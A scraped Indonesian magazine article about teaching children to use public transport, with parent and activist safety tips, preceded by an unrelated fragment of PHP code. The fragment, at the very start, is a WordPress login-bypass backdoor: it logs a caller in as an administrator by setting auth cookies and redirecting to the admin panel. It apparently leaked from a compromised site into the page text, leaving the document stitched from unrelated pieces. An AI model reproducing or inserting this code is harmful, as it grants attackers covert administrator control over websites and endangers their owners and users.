user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Family
Yuk, Ajak Anak Naik Transportasi Umum!

29 Jun 2016


Foto: 123RF

Meski wajah transportasi di Indonesia belum bisa dibilang memadai dari sisi keamanan dan kenyamanannya, penggiat gerakan naik kendaraan umum dan pemilik akun Twitter @naikumum, Andreas Lukwira, menyatakan, bukan berarti orang tua tidak perlu mengajarkan anak untuk naik kendaraan umum. Sebab, anak-anak inilah yang nantinya akan menjadi pengguna jalan raya dan juga angkutan umum.

Selain itu, menggunakan kendaraan umum, menurutnya, bisa mengajarkan banyak nilai positif kepada anak. “Naik kendaraan umum memberikan kesempatan kepada anak untuk belajar bersosialisasi dengan orang lain selain keluarga atau kerabatnya, mengasah kemandirian, belajar tertib mengantre, sabar, dan empati kepada mereka yang lebih membutuhkan tempat duduk, seperti  para manula, ibu hamil, atau penyandang disabilitas,” papar Andreas.

Isu keamanan transportasi umum yang tersedia justru membuka peluang orang tua untuk mengajak anak cermat dan waspada tentang apa yang boleh dan tidak boleh dilakukan. Oleh sebab itu, Andreas menyarankan agar pembelajaran naik kendaraan umum bagi anak ini hendaknya dilakukan secara bertahap sesuai usia. Bisa dimulai dari anak usia TK sampai kelas 3-4 SD.

“Awalnya didampingi dulu sambil diberi tahu tentang kewaspadaan, cara naik dan turun yang baik, sampai cara menyeberang jalan maupun berjalan kaki di trotoar,” lanjut Andreas. Cara lainnya, bisa mengajak anak tur keliling di dalam kota atau antarkota dengan menggunakan angkutan umum di akhir pekan. “Yang penting anak bisa merasakan langsung pengalaman ini,” tekannya.

Seperti yang dilakukan Aully Grashinta (36), ibu dari Fasya (14) dan Ayesha (11), yang bermukim di Depok, Jawa Barat. Sejak anak-anaknya masih kecil, ia sering mengajak mereka untuk bepergian dengan kendaraan umum, seperti Commuter Line atau TransJakarta untuk mengunjungi objek-objek wisata di Jakarta.
“Pengalaman ini penting, sehingga mereka bisa belajar mengenal sistem transportasi dan sekaligus mengajarkan mereka tentang budaya antre dan keamanan lewat role modeling,” ujar dosen yang akrab dipanggil Shinta ini.
Advertisement

Tidak hanya di dalam negeri, pengalaman menggunakan kendaraan umum ini juga dilakukan mereka saat berlibur ke luar negeri. Salah satunya, menjajal MRT di Singapura. Mereka melihat bagaimana orang mengantre dengan tertib, tidak berisik di dalam kendaraan umum, dan mengutamakan keselamatan dengan tidak melanggar rambu larangan dalam moda transportasi tersebut.

Pengalaman yang berlangsung sejak usia dini membuat anak-anaknya cukup percaya diri untuk menggunakan moda angkutan umum. “Sejak kelas 2 SD, Ayesha minta naik angkot sendiri dari rumah ke sekolahnya yang berjarak 3 km. Sempat khawatir juga, tapi saya bolehkan karena rupanya ada teman sekelasnya yang rumahnya searah dan naik angkot juga,” tutur Shinta, tentang keberanian putri bungsunya.

Meski demikian, di bulan-bulan pertama, Shinta tetap mengawal Ayesha dengan mengendarai motor berjalan di belakang angkot. Setelah Shinta merasa anaknya mampu, ia pun dengan tenang melepasnya berangkat ke sekolah sendiri naik angkot. Tentunya, ia akan tetap membekali putrinya itu dengan sederet wejangan. Di antaranya,  tidak naik kalau tidak ada seorang penumpang pun di angkot tersebut.

Shinta juga menyarankan Ayesha untuk duduk dekat dengan pintu. Tujuannya, agar bisa cepat melarikan diri jika ada ancaman bahaya. “Saya juga memintanya untuk berhati-hati terhadap orang asing. Jangan mau diajak pergi, atau jika terdesak, jangan ragu untuk berteriak!” lanjut Shinta. Sementara itu, ponsel lebih baik diamankan di dalam tas dan saat duduk tas didekap di depan.

Kini, Ayesha yang sudah duduk di bangku kelas 5 SD berani pergi ke pasar, rumah teman, sekolah, dengan naik angkot sendiri. Begitu juga dengan kakaknya yang kerap main ke mal di Jakarta atau ikut acara car free day bersama teman-temannya dengan menumpang Commuter Line atau TransJakarta. “Saya percaya melepas anak-anak saya karena saya lihat mereka cukup percaya diri. Kalau anak terlihat takut-takut, malah bisa jadi sasaran kejahatan nantinya,” kata Shinta, mengingatkan.  

Shinta juga menyiapkan uang pas untuk ongkos anaknya dan memberikan tip  berharga, yaitu setelah turun dari angkot selalu menyeberang dari belakang, bukan depan angkot. Hal ini terkait dengan pengalaman pribadi ibunya yang pernah tidak sengaja menabrak seseorang hingga meninggal akibat menyeberang jalan terburu-buru setelah turun dari angkot.
“Berdasarkan pengalaman ini, saya tidak mengizinkan anak naik angkutan umum jika sedang terburu-buru. Sebab, orang yang sedang terburu-buru cenderung lebih tidak waspada pada sekitarnya. Ini bisa membahayakan keselamatannya,” pungkasnya. (f) 


Topic

#transportasiumum

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?